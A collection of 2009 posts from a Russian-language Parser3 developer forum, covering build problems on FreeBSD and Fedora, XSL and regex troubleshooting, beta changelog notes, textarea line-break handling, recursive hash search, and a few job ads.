Вот так все вроде работает на сентябрь, на октябрь надо #ffffff и #FFD8D7поменять местами и то же будет работать.\
\
Использовал стандартный календарь из примеров:\
[code]\
\
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){\
^if($days.$week_day){\
\
$cif{^eval((^math:round($days.$week_day/2)/2))}\
$ccc($cif % 2)\
\
^if($ccc == 0 | $ccc == 1){\
\
<td align=\"center\" bgcolor=\"#ffffff\"> <font color=\"$calendar_locale.day_colors.$week_day\">$days.$week_day </font></td>\
}{\
<td align=\"center\" bgcolor=\"#FFD8D7\"> <font color=\"$calendar_locale.day_colors.$week_day\"> $days.$week_day </font></td>\
}\
}{ \
<td bgcolor=\"#ffffff\">&nbsp</td>    \
} \
} \
   </tr> \
}\
\
[/code]"
"70855","помогите пожалуйста, parser выдает ошибку:\
file:///C:/Program%20Files/Apache%20Software%20Foundation/Apache2.2/cgi-bin/../etc/catalog:1: parser error : Start tag expected, '<' not found\
read failed: Invalid argument (22), actual filename '/C:/Program%20Files/Apache%\
^\
file:///C:/Program%20Files/Apache%20Software%20Foundation/Apache2.2/htdocs/xml/style2.xsl:1: parser error : Start tag expected, '<' not found\
read failed: Invalid argument (22), actual filename '/C:/Program%20Files/Apache%\
^\
compilation error: file file:///C:/Program%20Files/Apache%20Software%20Foundation/Apache2.2/htdocs/xml/style.xsl line 3 element include\
xsl:include : unable to load file:///C:/Program%20Files/Apache%20Software%20Foundation/Apache2.2/htdocs/xml/style2.xsl\
C:/Program Files/Apache Software Foundation/Apache2.2/htdocs/xml/style.xsl\
C:/Program Files/Apache Software Foundation/Apache2.2/htdocs/xml/index.html(5)\
exception.type=xml\
\
при запросе файла [b]index.html[/b]\
его содержание следующее\
[code]# входной xdoc документ \
$sourceDoc[^xdoc::load[index.xml]] \
\
# преобразование xdoc документа шаблоном\
$transformedDoc[^sourceDoc.transform[style.xsl]] \
\
# выдача результата в HTML виде \
^transformedDoc.string[ \
    $.method[html] \
][/code]\
\
[i]style.xsl[/i]\
содержит следующий код\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:include href=\"style2.xsl\" />\
<xsl:template match=\"planet\">\
	<p>\
		<xsl:value-of select=\"name\"/>\
		<xsl:value-of select=\"radius\"/>		\
	</p>\
</xsl:template>\
</xsl:stylesheet>\
\
[i]style2.xsl[/i]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
<xsl:template match=\"planets\">\
	<html>\
		<xsl:apply-templates/>\
	</html>\
</xsl:template>\
</xsl:stylesheet>\
\
Если убрать строчку [b]<xsl:include href=\"style2.xsl\" />[/b] то всё работает"
"70857","на unix все работает.\
\
к релизу версии 3.4.0 мы планируем устранить эту проблему.\
\
текущий workaroud для win32 -- взять [url=\"/f/1/download/win32/parser3xml_2007_win32.zip\"]библиотеки от 2007 года[/url]"
"70859","Спасибо [b]Misha v.3[/b], a то я уже две недели завис над этой проблемой"
"70860","могли бы [url=\"/forum/?terms=%22parser+error+%3A+Start+tag+expected%22&author=&doSearch=%CD%E0%E9%F2%E8\"]воспользоваться поиском[/url] по форуму, эта проблема обсуждалась :)"
"70862","С помощью директивы SuexecUserGroup для Apache\
Прочитать здесь http://httpd.apache.org/docs/2.0/mod/mod_suexec.html#suexecusergroup"
"70863","Планируется ли размещение исходников парсера в портах FreeBSD.\
Жить станет легче. :-))"
"70865","Другое дело, что Парсер на FreeBSD элементарно собирается без проблем скриптом, входящим в дистрибутив - по сути ничем не лучше порта."
"70866","Господа, я дизайнер и у меня есть заказчики.\
\
Мне требуется человек, способный грамотно сверстать макет и сделать примитивный (или не очень) административный интерфейс. Если у вас уже есть таковой - еще лучше, показывайте, делитесь. Конечно, на парсере, потому что я его люблю.\
\
Конкретно сейчас есть сайт-заказ с новостями и списком... ну скажем товаров (фото, описание и еще пара полей).\
\
Напишите мне, пожалуйста, что-нибудь о себе, что вы умеете, дайте ссылки, я посмотрю html, css и проч. \
\
Бюджеты не очень большие, прямо скажем, но и не смешные. Например, рублей 10-15 за сайт."
"70868","Не работает и в свежем Файрфоксе."
"70869","всетаки это не линукс, и скрипт приходится поправлять руками.\
да и распространение он больше получит если будет в портах висеть. В целом я не спорю - скрипт на FreeBSD нормально собирает parser, но повозится приходится. Если кому интересно могу написать небольшую инструкцию по сборке на FreeBSD."
"70871","Для сборки parser3 под FreeBSD 7 необходимо в файлах buildall-with-xml и buildall-without-xml (в зависимости что хотите) заменить \"wget -c\" и \"wget -c --passive-ftp\" на \"fetch\".\
после этого все качается и устанавливается."
"70873","а зачем? для одноразового использования собирать лишний порт?"
"70875","[quote][Wed Sep 16 17:15:33 2009] [error] Unrecognized character \\\\x7F at /home/xxxxxxxxxxx/.www/cgi-bin/parser3.cgi line 1.\\n[/quote]\
\
Что делать?\
(Сборку делали из исходников. parser3.3.0 Ошибка одна и та же постоянно)\
\
При сборке постоянно выдает такую штуку:\
[quote]../../../src/include/pa_string.h:115: warning: width of 'String::Languages::<anonymous struct>::is_not_just_lang' exceeds its type\
[/quote]"
"70877","???\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co parser3\
Верно???\
Собрали, но ошибка та же :("
"70878","Проверьте зависимости. Возможно что-то забыли."
"70879","в базе хранится код:\
\
11<br><br>22<br><br>33\
\
этот код отображается в поле textarea:\
\
$str[код из базы]\
$str[^str.match[<br>][g]{^#0A}]\
$str[^str.match[<br/>][g]{^#0A}]\
$str[^str.match[<br />][g]{^#0A}]\
$str[^str.match[<BR>][g]{^#0A}]\
$str[^str.match[<BR/>][g]{^#0A}]\
$str[^str.match[<BR />][g]{^#0A}]\
\
<textarea>$str</textarea>\
\
в итоге в поле формы вместо <br><br> происходит только один раз перевод каретки\
\
пожскажите пожалуйста, в чём ошибка"
"70881","читал, не помогает\
\
подскажите как быть"
"70882","Как собирали, что в конфигурационном файле, на каком коде вываливается ошибка и пр."
"70883","В общем-то просто пытаюсь обратиться по http к /cgi-bin/parser3.cgi - вижу данную ошибку, обращение к тестовому скрипту /_test.html - даёт абсолютно эту же ошибку, один в один."
"70884","Провёл сборку под систему тоже 64 бита, но FreeBSD 7.2-STABLE\
Ошибка примерно та же:\
[quote][Thu Sep 17 10:38:40 2009] [error] Unrecognized character \\\\x7F in column 156 at /xxxxxx/cgi-bin/parser3.cgi line 1.\\n[/quote]"
"70885","Есть ли ошибка при запуске Парсера из консоли, и что прописано в конфигурационном файле веб-сервера? \
\
p.s. У меня несколько серверов на FreeBSD, в том числе и и с 7.2 amd64, и подобной проблемы не наблюдалось ни разу."
"70886","А можно уточнить как именно можно его запустить в консоли? пробовал такой вариант:\
[quote]\
./parser3.cgi -f ./auto.p ./_test.html\
[/quote]\
./auto.p - тот что ./auto.p.dist\
без него результат тот же кстати...\
Результат:\
[quote]\
<html>\
<head><title>Unhandled Exception</title></head>\
<body>\
<h1>Unhandled Exception</h1>\
\
\
<p>The server encountered an unhandled exception\
and was unable to complete your request.</p>\
<p>Please contact the server administrator,\
and inform them of the time the error occurred,\
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
</body>\
</html>\
Что не так? Или так и должно быть? для тестового файла - сомневаюсь...\
[/quote]"
"70887","Да, кстати в логе пишется всегда вот это:\
[quote]\
[8218] : parser already configured [parser.runtime] [uri=, method=GET, cl=0]\
[/quote]"
"70891","Ну отчего же не отвечаю? Конфиг стандартный, virtual host, сервер выделеный. Всё прописал как в доке, но создаётся ощущение что всё же вопрос именно в апаче 1.3 под которым cgi пытаюсь это запустить, потому что в консоли под freebsd мне удалось запустить успешно наконец-то(только драйвер мускула не находит отчего-то, хотя положен в lib в cgi-bin)"
"70892","[code]\
$str[код из базы]\
$str[^str.match[<br>][g]{^#0A}]\
$str[^str.match[<br/>][g]{^#0A}]\
$str[^str.match[<br />][g]{^#0A}]\
$str[^str.match[<BR>][g]{^#0A}]\
$str[^str.match[<BR/>][g]{^#0A}]\
$str[^str.match[<BR />][g]{^#0A}]\
[/code]\
это\
\
[code]$str[код из базы]\
$str[^str.match[<br\\s*\\/?>][gi]{^#0A}][/code]"
"70894","спасибо!\
\
а как быть с <br><br> в поле формы? у меня только один возврат каретки происходит"
"70895","вообщем я сам не разобрался -- вы не могли бы подсказать, научить"
"70899","Вам уже подсказали как быть, приведя ссылку на нужную страницу в документации. Неужели так сложно прочитать, тем более что без понимания этого раздела у вас будет и потом много аналогичных вопросов? Ну и если уж совсем лень и скукота - то хотя бы поищите на этой странице упоминания слова \"textarea\" - найдете ответ на свой вопрос. Не?"
"70901","я искал там textarea\
\
вот такой код:\
\
$text[aa<br><br>bb<br>cc<br>]\
\
вывожу разными способами, как указано здесь http://www.parser.ru/docs/lang/?opuntainttaint.htm:\
\
<textarea>^untaint[html]{$text}</textarea>\
<textarea>^taint[html][$text]</textarea>\
\
это всё вообще мимо -- в textarea отображаются теги\
\
мне же нужно чтобы код там был wysiwyg, то есть вместо <br><br> -- два перевода каретки\
\
и по форуму тоже искал, нашёл такой способ:\
\
$text[^text.match[<br\\s*\\/?>][gi]{^#0A}]\
<textarea>$text</textarea>\
\
это уже лучше -- теги не отображаются, но перевод каретки происходит только один раз\
\
в чём может быть причина?"
"70902","Parser выполняет оптимизацию пробельных символов"
"70903","так речь не о пробелах а о замене <br><br> на \\n\\n\
\
или на парсере нельзя реализовать wisiwig редактор в teaxtarea?"
"70904","В доке написано следующее:\
[quote]Текст, написанный разработчиком в теле страниц, также подвергается автоматическому преобразованию. В нём Parser выполняет оптимизацию пробельных символов (пробел, табуляция, перевод строки).[/quote]\
\
Что это значит? Что если у вас есть вот такой код:\
[code]$s[before_many_spaces                 after_many_spaces]\
$s[/code]\
\
то в браузер будет выведено\
[code]before_many_spaces after_many_spaces[/code]\
\
т.е. все пробелы схлопнутся до одного. на месте пробелов могут быть и другие пробельные символы (таб, новая строка - ваш случай). Чтобы парсер такого не делал нужную строку надо пометить соотвествующим образом\
\
[code]$s[before_many_spaces                 after_many_spaces]\
^taint[as-is][$s][/code]\
\
и всё будет пучком. вы так пробовали?\
\
Тайнтить еще не преобразованную сроку, т.е. ещё содержащую <br/> - не соответствует вашей задаче (вы же понимаете разницу между символом новой строки и тэгом <br />?).\
\
[i]P.S. и не надо пожалуйста копипастить свои ответы в разные ветки[/i]"
"70905","заработало, спасибо! )))\
\
удалите тогда уж топик с sumo\
\
может подскажете ещё в рамках оффтопика:\
\
теперь у меня такой код\
\
$str[aa<br><br>bb<br><br>cc]\
$str[^str.match[<br\\s*\\/?>][gi]{^#0A}]\
<span id=box>\
<textarea name=description>^taint[as-is][$str]</textarea>\
</span>\
\
и есть кнопка по нажатию на которую вместо textarea появляется текст, который сидел в textarea\
\
document.getElementById('box').innerHTML = document.form.description.value;\
\
так вот текст в поле box появляется, но теги там не работают, то есть текст идёт сплошняком -- aa bb cc\
\
как преобразовывать содержимое document.form.description.value чтобы на странице работали теги?"
"70907","- У метода @GET[] появился параметр, в котором указывается, в каком контексте происходит обращение к объекту. Т.е. теперь появилась возможность сделать так, чтобы объект пользовательского класса возвращал разные типы данных в разных контекстах вызова. Например, в выражении ^if(def $oUserObject){...} он может возвращать bool, в ^table::create[$oUserObject] -- table, ^hash::create[$oUserObject] -- хеш и т.д.\
\
- Парсер теперь делает капитализацию http заголовков при выдаче их в браузер и при загрузке файла по http.\
\
- У ^file.save и ^строка.save появились дополнительные необязательные хеш-параметры, в которых можно указать $.charset[кодировку], в которой будут сохранены текстовые (не binary) данные.\
\
- Исправлена ошибка, из-за которой иногда неверно кодировались выдаваемые cookies.\
\
- У regex-объекта теперь можно узнать исходную строку с шаблоном (.pattern) и исходные опции (.options).\
\
- У класса reflection появился новый метод fields, с помощью которого можно получить хеш со статическими полями класса или с динамическими полями объекта.\
\
- Символ '\\' теперь интерпретируется как символ окончания переменной. Т.е. $var\\s теперь трактуется как \"содержимое переменной $var за которым следует обратный слеш и символ s\", а не как \"содержимое переменной с именем 'var\\s'\".\
\
- У метода ^таблица.append теперь можно использовать не только фигурные, но и квадратные скобки.\
\
- Парсер собран с последними библиотеками xml (libxml 2.7.4 и libxslt 1.1.25) + исправлена ошибка, из-за которой в некоторых случаях у win32 версии были проблемы при работе с xml/xsl (.../etc/catalog ... read failed ...). Новые библиотеки в архиве. Можно попробовать использовать их с версией 3.3.0 :)\
\
- При $request:charset[koi8-r] таблицы теперь сортируются правильно.\
\
- Исправлено несколько багов, которые были в beta2.\
\
[url=\"/forum/?id=70730\"]список изменений[/url] предыдущей бета версии."
"70909","Здравствуйте\
\
я замечял что в новом парсере меняeться очередность ключей в хеше при использовании метода add\
\
[code]\
$hTest[\
	$.old[]\
]\
\
^hTest.add[$.new[]]\
$tKeys[^hTest._keys[]]\
^tKeys.menu{$tKeys.key }\
[/code]\
\
Parser 3.3.0 выводить \"new old\"\
Parser 3.4.0b выводить \"old new\"\
\
Почему?"
"70910","... т.е. мог быть какой угодно, а в новой ключи в хеше следуют в порядке добавления.\
\
http://www.parser.ru/forum/?id=70368"
"70911","оо... прекрасно ;)\
\
Я тепер делаю чтоб хотя одинь сайт роботал на 3.4.0\
До сих пор ещё не было так много смен на новой версии как сегодния... :(\
\
Unhandled Exception, Unhandled Exception, Unhandled Exception, Unhandled Exception..."
"70912","Здравствуйте!\
\
Уже два часа испытываю сделать пойск в хеше на новом парсере. На стором роботало. На новом - нет. Всю связано с\
\
[quot]Каждый метод должен будет или возвращать результат через $result во всех вариантах своего выполнения или не использовать $result вовсе[/quot]\
\
\
Я добавил $result перед вызовом метода find как сказал Sumo http://www.parser.ru/forum/?id=70380. Добавил его тоже в начяле метода как посоветовал moko\
http://www.parser.ru/forum/?id=70382\
http://www.parser.ru/forum/?id=70385\
\
Подскажите пожауйста дорогие мастеры что мне ещё делать...\
Это исходник:\
\
[code]\
$tree[\
	$.[/fullpath][/_admin/]\
	$.index[\
		$.[/fullpath][/_admin/index/]\
		$.content[$.[/fullpath][/_admin/index/content/]]\
		$.test[$.[/fullpath][/_admin/index/test/]]\
	]\
	$.help[$.[/fullpath][/_admin/help/]]\
]\
\
$found[^find[/_admin/index/content/;$tree]]\
<h2>$found.[/fullpath]</h2>\
<p>$sLog</p>\
\
^XMLTree.foreach[key;value]{\
	^if($key ne \"/fullpath\"){\
		^log[$level пойск в $key]\
		^if($value.[/fullpath] eq $fullpath){\
			$result[\
				$.key[$key]\
				^value.foreach[this_key;this_value]{\
					^if(^this_key.match[^^/[.]*]){\
						$.[$this_key][$this_value]\
					}\
				}\
			]\
			^log[$level нейдёться в $key, определаем result]\
			^break[]\
		}{\
			^log[$level пойск глубее]\
			$result[^find[$fullpath;$value;${level}.]]\
			^log[$level определаем result]\
		}\
	}\
}\
^log[$level конец пойска]\
\
\
@log[string]\
$sLog[${sLog}$string<br/>]\
[/code]\
\
Вот это возвращает парсер:\
\
[code]Not found\
\
начинаем пойск\
пойск в index\
пойск глубее\
. начинаем пойск\
. пойск в content\
. нейдёться в content, определаем result\
. конец пойска [color=\"#dd0000\"]***тепер хочю сделать мега супер break, но не знаю как***[/color]\
определаем result\
пойск в help\
пойск глубее\
. начинаем пойск\
. конец пойска\
определаем result\
конец пойска[/code]"
"70914","Извините - я несколько раза исправлял код. Это код с @find'ом\
\
[code]$tree[\
	$.[/fullpath][/_admin/]\
	$.index[\
		$.[/fullpath][/_admin/index/]\
		$.content[$.[/fullpath][/_admin/index/content/]]\
		$.test[$.[/fullpath][/_admin/index/test/]]\
	]\
	$.help[$.[/fullpath][/_admin/help/]]\
]\
\
$found[^find[/_admin/index/content/;$tree]]\
<h2>$found.[/fullpath]</h2>\
<p>$sLog</p>\
\
@find[fullpath;XMLTree;level][found]\
$result[$.[/fullpath][Not found]]\
^log[$level начинаем пойск]\
\
^XMLTree.foreach[key;value]{\
	^if($key ne \"/fullpath\"){\
		^log[$level пойск в $key]\
		^if($value.[/fullpath] eq $fullpath){\
			$result[\
				$.key[$key]\
				^value.foreach[this_key;this_value]{\
					^if(^this_key.match[^^/[.]*]){\
						$.[$this_key][$this_value]\
					}\
				}\
			]\
			^log[$level нейдёться в $key, определаем result]\
			^break[]\
		}{\
			^log[$level пойск глубее]\
			$result[^find[$fullpath;$value;${level}.]]\
			^log[$level определаем result]\
		}\
	}\
}\
^log[$level конец пойска]\
\
\
@log[string]\
$sLog[${sLog}$string<br/>]\
[/code]"
"70915","Требуется человек на удаленную работу (пока), который хорошо знает parser и SQL, на постоянное сотрудничество. Я предполагаю, что кандидат знает javaScript, css, html. Большим плюсом будет Flash, ActionScript, jQuery.\
Проектов много, а будет ещё больше.\
Оплата по договоренности. Возможно на оклад, но это, когда будет ясно, что кандидат действительно работает.\
\
Звоните 8-916-780-94-26. (Москва)\
Василий."
"70916","Как минимум одна проблема - после рекурсивного вызова не проверяется результат. Вероятно должно быть что-то вроде такого:\
\
[code]@find[fullpath;XMLTree;level][found]\
$result[]\
...\
			$result[^find[$fullpath;$value;${level}.]]\
			^if(def $result){^break[]}\
[/code]\
\
Если читить, наверное можно поставить $result[] вокруг всего кода метода, но это уже не каждый поймет.\
\
А по сути, почему например не так (чтобы ключ хеша и был частью пути - уникальность же есть):\
\
[code]$tree[\
	$._admin[\
		$.index[\
			$.content[ $.options[ $.все_остальное[] ] ]\
			$.test[ $.options[ $.все_остальное[] ] ]\
\
			$.options[ $.все_остальное[] ]\
		]\
		$.help[ $.options[ $.все_остальное[] ] ]\
\
		$.options[ $.все_остальное[] ]\
	]\
]\
[/code]\
\
Тогда вместо перебора можно будет разбить URL по / и делать обращения в хещ."
"70917","...ещё только надо мне хорошо понимать как это случилос...\
\
Спосибо тоже за подсказку с ключом хеша. \
\
Поздравляю"
"70919","[code]\
@find[fullpath;XMLTree;level][found]\
$result[]\
...\
			$result[^find[$fullpath;$value;${level}.]]\
			^if(def $result){^break[]}\
[/code]\
\
Это уже я понимал. Можете-ли ещё сказать как делаеться [quot]$result[] вокруг всего кода метода[/quot]\
\
???"
"70920","В отдел веб-технологий крупной транспортной компании требуется веб-разработчик.\
\
Задачи:\
Разработка интернет/интранет-проектов компании.\
\
Требования:\
Опыт интенсивной веб-разработки от 5 лет.\
Способность в одиночку спланировать и написать проект любой сложности - включая БД, интерфейс, верстку и собственно программирование.\
Опыт самостоятельной и командной работы.\
\
Наиболее используемые нами технологии:\
Parser3, MySQL, jQuery, HTML/XHTML/CSS.\
\
Заработная плата от 50к, есть финансовая мотивация. \
\
Работа в офисе на полный рабочий день.\
\
Аська в профиле."
"70921","[code]@find[fullpath;XMLTree;level][found]\
$result[\
^log[$level начинаем пойск]\
\
^XMLTree.foreach[key;value]{\
	^if($key ne \"/fullpath\"){\
		^log[$level пойск в $key]\
		^if($value.[/fullpath] eq $fullpath){\
				$.key[$key]\
				^value.foreach[this_key;this_value]{\
					^if(^this_key.match[^^/[.]*]){\
						$.[$this_key][$this_value]\
					}\
				}\
			^log[$level нейдёться в $key, определаем result]\
		}{\
			^log[$level пойск глубее]\
			^find[$fullpath;$value;${level}.]\
			^log[$level определаем result]\
		}\
	}\
}\
^log[$level конец пойска]\
][/code]\
\
Но так можно делать, только если четко понимаете, что здесь на самом деле происходит, какой по типу результат когда возвращается."
"70922","- ещё одна потенциальная проблема -- не объявленные локально key и value. из-за этого, внутри рекурсии происходит перезапись этих глобальных переменных. при добавлении чего-либо после рекурсивного вызова это может аукнуться. (лучше ВСЕГДА объявлять их все или использовать 'locals' в объявлении)\
\
- что вы хотели сказать этим: ^this_key.match[^^/[.]*] ?"
"70923","Да - исправлю метод чтоб key и value были локолны.\
Что касаеться ^this_key.match[^^/[.]*] у меня параметры страниц начинаеться от / и я хотел проверить что ключь есть нормальный ключ или только параметр начинающийся от / \
\
...но можеть быть что я сделай так как сказал мне моко и буду хранить все параметры в оттдельных ключах н.п. \"options\"\
\
спосибо"
"70925","ооо ;) Спасибо. Тепер сайт загрузаеться быстрее"
"70926","[quote]...но можеть быть что я сделай так как сказал мне моко и буду хранить все параметры в оттдельных ключах н.п. \"options\"[/quote]\
\
options тоже надо фильтровать. Можно оставить и с префиксом для ключей, содержащих путь (например _), на суть мало влияет,\
главное убрать перебор, который в случае большого дерева уж очень неэффективен.\
\
[code]$tree[\
	$.__admin[\
		$._index[\
			$._content[ $.все_остальное[] ]\
			$._test[ $.все_остальное[] ]\
\
			$.все_остальное[]\
		]\
		$._help[ $.все_остальное[] ]\
\
		$.все_остальное[]\
	]\
][/code]"
"70927","Выложите бету на редхата без safe-mode? Хочю проверить как сайть будуть работать на сервере."
"70928","я спросил потому, что точка в квадратных скобках означает не любой символ, а именно точку.\
\
т.е. в вашем случае можно было в match написать ^^/ или, как уже сообщил Sumo, лучше использовать left(1), т.к. это очевиднее."
"70929","Ошибка Unhandled Exception\
[b]в лог файле на сервере хостинга следующее:[/b]\
http/auto.p(22:18): 'true' invalid number (double) [number.format]\
[b]ругается на этот код:[/b]\
[code]\
21 $oSql[^MySqlComp::create[$SQL.connect-string;\
22	$.bDebug(true)\
23	$.sCacheDir[$CACHE_DIR/_sql]\
24         ]]\
25          #end @auto[][/code]\
\
на локальном сервере работает без проблем, в логах чисто..."
"70930","Вместо $.bDebug(true) написать $.bDebug(1) \
всё исключения нет, скрипт работает.\
шило на мыло."
"70932","Версия Parser3, хостинг 1Gb.ru"
"70934","посмотрите бегло. видите сколько изменений от версии к версии? \
причем есть обратно несовместимые.\
\
а если вы делаете локально, используя новую версию, то ожидать, что всё заработает, когда вы это перенесёте на старую -- совершенно незачем."
"70935","это такая ошибка, которая была видна.\
вы уверены, что в новой версии вы не пользовались какими-либо функциями, которые в старой версии работают несколько иначе?\
\
я бы на вашем месте пошел бы устанавливать на хостинг ту версию, с которой вы всё разрабатывали/тестировали (раз уж вышло так, что вы для разработки пользовались более новой версией). или начинайте внимательно тестировать то, что перенесли на хостинг."
"70936","[quot]точка в квадратных скобках означает не любой символ, а именно точку[/quot]\
\
Да... Я даже понимаю зачем это работало \"хорошо\"\
\
[.]* совпадает с неограниченным количеством точек. Можеть быть ни одной ;)"
"70937","Спвасибо!\
Буду обновлять версию..."
"70939","Ещё одно важное замечание - переменная REDIRECT_REMOTE_USER всё равно может быть пустой при использовании директивы SuexecUserGroup. Если её не использовать - переменная будет определена."
"70941","Я собрал на федоре \
Linux hosting.asta-net.pl 2.6.22.14-72.fc6PAE #1 SMP Wed Nov 21 14:39:09 EST 2007 i686 i686 i386 GNU/Linux\
\
Это cgi: http://magik.domanski.pro/parser3.gz\
\
Но ^connect[] не работает. Возможно я плохо собрал или это какой-то баг.\
\
[code]^connect[$SQL.connect-string]{}[/code]\
\
Выводить \"Internal Server Error\" в error.log апача \
[quot]500 error Premature end of script headers: parser3.cgi[/quot]\
\
На старом папсере поботает хорошо\
\
Это логи из соnfigure и make install\
http://magik.domanski.pro/install_logs.tgz\
\
...Можеть кто нибудь скачять мой parser3.gz и проверить что у вас тоже не работает?"
"70942","вы не сообщили подробностей (как вы собирали)\
\
возможно поможет сборка драйвера. просто это шаманство обсуждалось в форуме много раз (я понимаю, что вам возможно сложно это найти. но у меня сейчас нету времени искать и объяснять это, возможно позже, или ещё кто-нить объяснит).\
\
\
не спешите ставить эту бету, т.к. в ней уже обнаружена пара ошибок."
"70943","1. Я скачял исходники через cvs\
[code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3[/code]\
\
2. Во первом начял с buildall-with-xml\
Но что нибудь не заработало. Но хотя gclib, gnome и pcre были после выполненя скрипта.\
\
3. Я удалил всё что скачял через cvs и вес каталог parser3 и скачял опять исходники через cvs\
\
4. Собрал без пользования buildall, но испльзуя (gc, pcre и xml) собранным через него...\
[code]./configure --disable-safe-mode --with-shared-xml=/var/www/vhosts/magik.domanski.pro/private/gnome --with-static-pcre=/var/www/vhosts/magik.domanski.pro/private/pcre --with-shared-gc=/var/www/vhosts/magik.domanski.pro/private/gc/lib --prefix=/var/www/vhosts/magik.domanski.pro/private/parser3install\
\
make install[/code]\
\
Тепер ещё осталось собрать sql driver\
Поздравляю"
"70944","Это несложно. Есть тонкости с линковкой \
библиоти C++, в head версии они устранены.\
\
Еще вариант - в buildall-with-xml раскомментировать \
опцию #options=\"$options --with-dynamic-stdcpp\""
"70945","Настроил на локальной машине NConvert скачанный отсюда [url=\"http://www.kulikoff.net/parser3/img/\"]http://www.kulikoff.net/parser3/img/[/url] Все прекрасно работало. Но стал переносить все это на хостинг (в данном случае masterhost freebsd 6.2) и сразу при запросе информации об изображении стала появляться ошибка.\
Стал искать причину - \
$fResult.text - выдавал информцию о файле в исходном виде\
$fResult.stderr - выдавал wmftogif: not found\
$fResult.status - выдавал 0\
\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/14:59:37) **\
        Version for FreeBSD x86 (X11)  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
\
/home/u98130/hev-dog.ru/www//_pic_/dogs/146.jpg : Success\
    Format               : JPEG TrueColor (v1.2)\
    Name                 : jpeg\
    Compression          : JPEG\
    Width                : 600\
    Height               : 400\
    Components per pixel : 3\
    Bits per component   : 8\
    Depth                : 24\
    # colors             : 16777216\
    Color model          : RGB\
    Bytes Per Plane      : 1800\
    Orientation          : Top Left\
    Xdpi                 : 100\
    Ydpi                 : 100\
    Page(s)              : 1\
 ,  wmftogif: not found\
 , 0\
\
Стал искать причину дальше и остановился на том, что не срабатывает регулярное выражение \
^fInfo.text.match[^^\\s*(\\S.+\\S)\\s+:\\s+(.+)\\s*^$][gm]\
при этом выражение\
^fInfo.text.match[^^\\ *(.+)\\ +:\\ +(.+)\\ *^$][gm] срабатывает но не дает приемлемый результат\
т.к. \\s и \\S относятся к Спецсимволам в регулярных выражениях то я сделал вывод, что именно спецсимволы и не срабатывают.\
\
Встречался ли кто-нибудь с такой проблемой? Как можно ее решить?\
На всякий случай выкладываю код функции в которой происходит ошибка\
[code]@_parseInfo[fInfo][sDummy;tSize]\
$result[\
	$.hRaw[^hash::create[]]\
]\
# этот код срабатывает и информация пишется в файл но не убирает пробелы после первого слова\
$f_info_text[$fInfo.text]\
$f_info_match[^f_info_text.match[^^\\ *(.+)\\ +:\\ +(.+)\\ *^$][gm]]\
^f_info_match.save[/f_info_match.txt]\
\
^if(!$fInfo.status && def $fInfo.text){\
	\
# а этот код уже не срабатывает\
$sDummy[^fInfo.text.match[^^\\s*(\\S.+\\S)\\s+:\\s+(.+)\\s*^$][gm]{\
		^result.hRaw.add[$.[$match.1][$match.2]]\
		^switch[$match.1]{\
			^case[Name]{^result.add[$.sFormat[$match.2]]}\
			^case[Compression]{^result.add[$.sCompression[$match.2]]}\
			^case[Width]{^result.add[$.iWidth($match.2)]}\
			^case[Height]{^result.add[$.iHeight($match.2)]}\
			^case[Xdpi]{^result.add[$.iXdpi[$match.2]]}\
			^case[Ydpi]{^result.add[$.iYdpi[$match.2]]}\
			^case[# colors]{^result.add[$.iColors[$match.2]]}\
		}\
	}]\
}\
#end @_parseInfo[/code]"
"70946","- одинаковость версий NConvert\
- регулярные выражения для таких случаев эффективнее и проще писать \"не жадные\" - то есть +?, а не +."
"70947","[quot]\
стала появляться ошибка.\
[/quot]\
\
где подробности об ошибке?\
\
\
прикольно вы изменили regexp.\
если уж выкидывать метасимволы, совпадающими с пробельными символами, то выкидывать (заменять на пробел или на [ ^#09^#0A]) надо \\S, а не оставлять вместо него '\\ '\
\
но скорее всего дело не в них. по моему разница в том, что другая версия nconvert выдаёт информацию в немного другом виде.\
приведите info для локальной версии и для версии на хостинге.\
\
[quot]\
а этот код уже не срабатывает\
[/quot]\
что это значит?\
добавьте такой код перед существующим кодом с match:\
[code]\
$tDummy[^fInfo.text.match[^^\\s*(\\S.+\\S)\\s+:\\s+(.+)\\s*^$][gm]]\
^tDummy.save[/f_info_match.table;$.encloser[\"]]\
[/code]\
\
и покажите, что оказалось в файлах f_info_match.txt и f_info_match.table."
"70951","Благодарю за ответ.\
подробности об ошибке\
[Mon Sep 28 10:36:11 2009] [77299] /adm/foto.html: /home/u98130/hev-dog.ru/www/_classes_/img.p(73:10): 'info' Unknown image format '/_pic_/dogs/146.jpg' [Img] [uri=/adm/foto.html, method=POST, cl=76474]\
\
выскакивает отсюда (img.p)\
[code]# get image info\
@info[sFileSrc][fResult]\
\
^self._checkInputFile[info;$sFileSrc]\
\
$fResult[^self._exec[info;\
	$.sInput[$sDocRoot/$sFileSrc]\
]]\
$om[$fResult.text ,  $fResult.stderr , $fResult.status]\
^om.save[/om.txt]\
\
$result[^self._parseInfo[$fResult]]\
\
# $result.hRaw пуст, поэтому и ошибка\
^if(!$result.hRaw){\
	^throw[$sClassName;info;Unknown image format '$sFileSrc']\
}\
#end @info[/code]\
\
regexp менял ради эксперимента (пока не очень хорошо разобрался) но получил почти нужный результат вместо \"\\S\" я \"\\ \" не менял\
было \
